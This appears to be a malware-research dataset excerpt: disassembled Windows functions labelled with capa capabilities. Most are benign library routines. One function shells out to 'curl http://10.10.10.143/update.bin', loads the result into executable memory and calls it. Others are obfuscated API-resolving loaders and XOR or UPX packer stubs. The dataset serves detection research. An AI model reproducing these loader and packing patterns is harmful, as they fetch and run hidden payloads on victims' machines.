joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458c00
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
mov eax, dword [0x4a531c]
mov dword [esp + 4], 0x4020
mov dword [esp], 0
mov dword [esp + 8], 4
test eax, eax
jne 0x458c51
push 3
push 2
push eax
push eax
push 6
call fcn.0045dba0
add esp, 0x14
test al, al
je 0x458c45
mov dword [0x4a531c], 2
add esp, 0xc
ret
mov dword [0x4a531c], 1
jmp 0x458c56
cmp eax, 2
je 0x458c9c
lea eax, [esp + 8]
push eax
lea eax, [esp + 4]
push eax
push 0x1001
push 0xffff
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x458c81
mov eax, dword [esp]
cmp eax, dword [esp + 4]
jg 0x458c9c
push 4
lea eax, [esp + 8]
push eax
push 0x1001
push 0xffff
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_setsockopt]
add esp, 0xc
ret
Function at 0x459770
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x188
mov eax, dword [0x4a4314]
xor eax, esp
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x18c]
push ebx
mov ebx, dword [esp + 0x194]
push esi
mov esi, dword [eax + 8]
lea eax, [esp + 0xc]
push 0x80
push 0
push eax
mov dword [esp + 0x14], 0x80
call fcn.0046c200
add esp, 0xc
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esi + 0x98]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x459814
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x8c]
push 0x100
push eax
push esi
call fcn.0043d9d0
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.0042c370
add esp, 0x1c
mov eax, 2
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.0046a386
add esp, 0x188
ret
lea eax, [esi + 0x100]
push eax
lea eax, [esi + 0xd0]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.0042cf90
add esp, 0x10
test al, al
jne 0x459887
push edi
call fcn.004724c7
mov esi, dword [eax]
call fcn.004724c7
mov edi, eax
lea eax, [esp + 0x90]
push 0x100
push eax
push esi
call fcn.0043d9d0
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.0042c370
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.0046a386
add esp, 0x188
ret
mov ecx, dword [esp + 0x18c]
xor eax, eax
pop esi
pop ebx
xor ecx, esp
call fcn.0046a386
add esp, 0x188
ret
Function at 0x45b150
Capabilities:
Check http status code

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x18]
push edi
push 0x11
push str.WWW_Authenticate:
push esi
call fcn.0042ff50
mov edi, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x45b17d
mov ebx, dword [edi + 0xe0]
cmp ebx, 0x191
je 0x45b19f
push 0x13
push str.Proxy_authenticate:
push esi
call fcn.0042ff50
add esp, 0xc
test eax, eax
je 0x45b1e3
mov ebx, dword [edi + 0xe0]
cmp ebx, 0x197
jne 0x45b1e3
push esi
call fcn.004356c0
mov esi, eax
add esp, 4
test esi, esi
jne 0x45b1b5
pop edi
lea eax, [esi + 0x1b]
pop esi
pop ebx
ret
cmp ebx, 0x197
push esi
sete al
movzx eax, al
push eax
push edi
call fcn.00437240
push esi
mov edi, eax
call dword [0x4a4010]
add esp, 0x10
test edi, edi
je 0x45b37d
mov eax, edi
pop edi
pop esi
pop ebx
ret
push 0xf
push str.Content_Length:
push esi
call fcn.0042ff50
add esp, 0xc
test eax, eax
je 0x45b23d
mov ecx, dword [edi + 0xe0]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x45b21d
push ecx
push str.Ignoring_Content_Length_in_CONNECT__03d_response
push edi
call fcn.0042c440
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov eax, dword [esp + 0x18]
add eax, 0x200
push eax
push 0xa
lea eax, [esi + 0xf]
push 0
push eax
call fcn.0043e4e0
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 5
push str.close
push 0xb
push str.Connection:
push esi
call fcn.00435610
add esp, 0x14
test al, al
jne 0x45b372
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.0042ff50
add esp, 0xc
test eax, eax
je 0x45b2da
mov ecx, dword [edi + 0xe0]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x45b296
push ecx
push str.Ignoring_Transfer_Encoding_in_CONNECT__03d_response
push edi
call fcn.0042c440
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 7
push str.chunked
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.00435610
add esp, 0x14
test al, al
je 0x45b37d
push str.CONNECT_responded_chunked
push edi
call fcn.0042c440
mov eax, dword [esp + 0x20]
push edi
mov byte [eax + 0x20c], 1
call fcn.0045e060
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 5
push str.close
push 0x11
push str.Proxy_Connection:
push esi
call fcn.00435610
add esp, 0x14
test al, al
jne 0x45b372
push 7
push str.HTTP_1.
push esi
call fcn.00471ee0
add esp, 0xc
test eax, eax
jne 0x45b37d
mov al, byte [esi + 7]
cmp al, 0x30
je 0x45b314
cmp al, 0x31
jne 0x45b37d
cmp byte [esi + 8], 0x20
jne 0x45b37d
mov cl, byte [esi + 9]
mov al, cl
sub al, 0x30
cmp al, 9
ja 0x45b37d
mov dl, byte [esi + 0xa]
mov al, dl
sub al, 0x30
cmp al, 9
ja 0x45b37d
mov bl, byte [esi + 0xb]
mov al, bl
sub al, 0x30
cmp al, 9
ja 0x45b37d
mov al, byte [esi + 0xc]
cmp al, 0x30
jl 0x45b346
cmp al, 0x39
jle 0x45b37d
movsx eax, cl
lea ecx, [eax + eax*4]
movsx eax, dl
lea eax, [eax + ecx*2]
lea ecx, [eax + eax*4]
movsx eax, bl
lea eax, [eax + ecx*2]
add eax, 0xffffeb30
mov dword [edi + 0xe0], eax
mov dword [edi + 0xd5c], eax
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov eax, dword [esp + 0x18]
mov byte [eax + 0x20d], 1
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x462990
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x120
mov eax, dword [0x4a4314]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push ebp
mov ebp, dword [esp + 0x134]
xor ebx, ebx
push esi
push edi
mov edi, dword [esp + 0x138]
xor esi, esi
push edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call fcn.0047ade0
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
jne 0x462a0f
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0043dac0
push eax
push edi
push str.schannel:_invalid_path_name_for_CA_file__s:__s
push ebp
call fcn.0042c370
push esi
call dword [0x4a4010]
add esp, 0x20
lea eax, [ebx + 0x4d]
jmp 0x462b6f
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x462a69
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0043dac0
push eax
push edi
push str.schannel:_failed_to_open_CA_file__s:__s
push ebp
call fcn.0042c370
push 0
mov esi, 0x4d
call dword [0x4a4010]
add esp, 0x20
jmp 0x462b61
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x462aa9
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0043dac0
push eax
push edi
push str.schannel:_failed_to_determine_size_of_CA_file__s:__s
push ebp
call fcn.0042c370
add esp, 0x1c
mov esi, 0x4d
jmp 0x462b4d
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x28], ebx
jl 0x462ad7
jg 0x462abd
cmp edi, 0x100000
jbe 0x462ad7
push 0x100000
push str.schannel:_CA_file_exceeds_max_size_of__u_bytes
push ebp
call fcn.0042c370
add esp, 0xc
mov esi, 0x4d
jmp 0x462b4d
lea eax, [edi + 1]
push eax
call dword [0x4a400c]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x462aef
lea esi, [eax + 0x1b]
jmp 0x462b4d
test edi, edi
je 0x462b34
nop dword [eax]
nop word [eax + eax]
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x462b8c
mov eax, dword [esp + 0x10]
test eax, eax
je 0x462b88
add esi, eax
cmp esi, edi
jb 0x462b00
push ebp
push dword [esp + 0x18]
mov byte [edi + ebx], 0
push edi
push ebx
push dword [esp + 0x2c]
call fcn.00462790
add esp, 0x14
mov esi, eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [0x4a4010]
add esp, 4
push dword [esp + 0x20]
call fcn.0047185d
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0046a386
add esp, 0x120
ret
mov edi, esi
jmp 0x462b34
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0043dac0
push eax
push dword [esp + 0x24]
push str.schannel:_failed_to_read_from_CA_file__s:__s
push ebp
call fcn.0042c370
add esp, 0x1c
mov esi, 0x4d
jmp 0x462b4d
Function at 0x4691d0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x4a400c]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4691f7
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x469242
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [esp + 0x20], ebx
jmp 0x469246
mov ebp, dword [esp + 0x1c]
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4692a6
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub ebx, 1
jne 0x469265
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4692d7
nop dword [eax + eax]
mov eax, dword [esi + 4]
push 1
push 0x4980fd
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x4980fe
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4692b0
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x4692e0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push dword [esp + 0x20]
call fcn.0042deb0
mov esi, dword [esp + 0x1c]
mov ebx, eax
mov ebp, dword [esp + 0x20]
mov dword [esp + 0x14], ebx
mov edx, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [0x4a400c]
mov edi, eax
add esp, 8
test edi, edi
je 0x469448
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x46935c
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push ebp
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov eax, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [esp + 0x10], eax
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x18]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4693c1
mov dword [esp + 0x18], eax
mov ebx, eax
nop dword [eax + eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x1c], al
lea eax, [esp + 0x1c]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x28], al
lea eax, [esp + 0x28]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub ebx, 1
jne 0x469380
mov ebx, dword [esp + 0x18]
cmp ebx, dword [esi + 0x10]
jae 0x4693ed
mov eax, dword [esi + 4]
push 1
push 0x4980fd
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x4980fe
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4693c6
push dword [esp + 0x28]
call fcn.0042deb0
mov ecx, dword [edi]
push eax
push dword [esp + 0x2c]
push dword [edi + 4]
mov eax, dword [ecx + 4]
call eax
mov esi, dword [esp + 0x3c]
add esp, 0x10
mov ebx, dword [edi]
test esi, esi
jne 0x469418
mov esi, dword [ebx + 0xc]
add esi, dword [edi + 8]
push dword [edi + 4]
mov eax, dword [ebx + 8]
push esi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push esi
push dword [edi + 8]
call eax
push dword [edi + 8]
mov eax, dword [ebx + 8]
push esi
call eax
push edi
call dword [0x4a4010]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
mov eax, 0x1b
pop ebx
pop ecx
ret
Function at 0x480f6e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00480de4

Function at 0x483e94
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004839e7
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x403024
pop dword [ebp - 0x50]
mov eax, 0x403024
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xb7dfeffd
sub dword [ebp - 0x60], 0x698daab2
mov dword [ebp - 0x5c], 0x730f6e69
sub dword [ebp - 0x5c], 0x40dc2224
mov dword [ebp - 0x58], 0x17e2c7ac
sub dword [ebp - 0x58], 0xcb96837e
mov dword [ebp - 0x54], 0x8c44021d
add dword [ebp - 0x54], 0x73bbfde3
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x6dd983bc
add dword [ebp - 0x60], 0x698e59a
mov dword [ebp - 0x5c], 0xb003ec
sub dword [ebp - 0x5c], 0xbf43a277
mov dword [ebp - 0x58], 0x1d03bb3
sub dword [ebp - 0x58], 0x9e60cf47
mov dword [ebp - 0x54], 0xeb269443
sub dword [ebp - 0x54], 0xeb269443
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x1ac8007a
add eax, 0xe5788002
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x39a4c
push 0
call eax
mov ecx, 0xd8d2dfc
add ecx, 0xf2732470
mov ebx, eax
mov edi, 0xfdf237b5
sub edi, 0xfdad23b5
add edi, dword [ebp - 0x50]
mov edx, 0xebf99daf
sub dword [ebp - 0x28], 0x2009e6b3
mov esi, dword [edi]
xor dword [ebp - 0x34], eax
sub esi, edx
sub dword [ebp - 4], ecx
mov dword [ebx], esi
add dword [ebp - 0x24], 0x82ab24ed
add ebx, 0xb8c87ade
sub ebx, 0xb8c87ada
add edi, 4
loop 0x403136
add eax, 0x13c83
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10963a5a
add ecx, 0xefa9c5a6
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x406864
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406888
xor eax, eax
test eax, eax
je 0x40689b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40689b
xor ecx, ecx
jmp 0x40689e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4069c1
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dac], 0
push esi
jne 0x4069f8
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4069d2
mov dword [ecx*4 + 0x427da8], eax
inc ecx
cmp ecx, 0x100
jl 0x4069cd
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a29
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427da8]
xor eax, esi
inc ecx
dec edx
jne 0x406a0b
pop edi
not eax
pop esi
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x6c8871a5
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, str._aa
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x616557cc
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x408927
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
inc eax
call fcn.00408949
sub ecx, 0x22e4b53c
xor dword [edx], ebx
add edx, 1
cmp edx, esi
jne fcn.00408927
or eax, eax
ret
Function at 0x401040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x402134
push str.curl_http:__10.10.10.143_update.bin
mov byte [ebp - 0x1d1], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x40108c
push str.popen___failed.
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
lea eax, [ebp - 0x1d1]
push edi
push 1
push 1
push eax
call ebx
add esp, 0x10
test eax, eax
je 0x4010de
lea esi, [ebp - 0x1d0]
nop dword [eax]
mov al, byte [ebp - 0x1d1]
mov byte [esi], al
movzx eax, al
push eax
push 0x402148
call fcn.00401010
push edi
push 1
lea eax, [ebp - 0x1d1]
push 1
push eax
lea esi, [esi + 1]
call ebx
add esp, 0x18
test eax, eax
jne 0x4010b0
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
push 0x40
push 0x1000
push 0x1cc
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [ebp - 0x1d0]
mov ecx, 0x73
rep movsd dword es:[edi], dword [esi]
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401120
mov esp, ebp
pop ebp
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x2e6d7d2c
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x680c6ec9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x449c90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x44000]
push edi
jmp 0x449caa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x449cb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x449ca0
mov eax, 1
add ebx, ebx
jne 0x449cc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x449cb8
jne 0x449cd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x449cb8
xor ecx, ecx
sub eax, 3
jb 0x449ce8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x449d5a
mov ebp, eax
add ebx, ebx
jne 0x449cf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x449d00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x449d24
inc ecx
add ebx, ebx
jne 0x449d10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x449d05
jne 0x449d21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x449d05
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x449d44
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x449d35
jmp 0x449ca6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x449d44
add edi, ecx
jmp 0x449ca6
pop esi
mov edi, esi
mov ecx, 0x290
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x449d62
cmp byte [edi], 6
jne 0x449d62
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x449d67
lea edi, [esi + 0x47000]
mov eax, dword [edi]
or eax, eax
je 0x449ddf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4fd7c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4fe1c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x449d94
mov ecx, edi
jns 0x449dc3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4fe20]
or eax, eax
je 0x449dd9
mov dword [ebx], eax
add ebx, 4
jmp 0x449db1
call dword [esi + 0x4fe30]
mov ebp, dword [esi + 0x4fe24]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x449e13
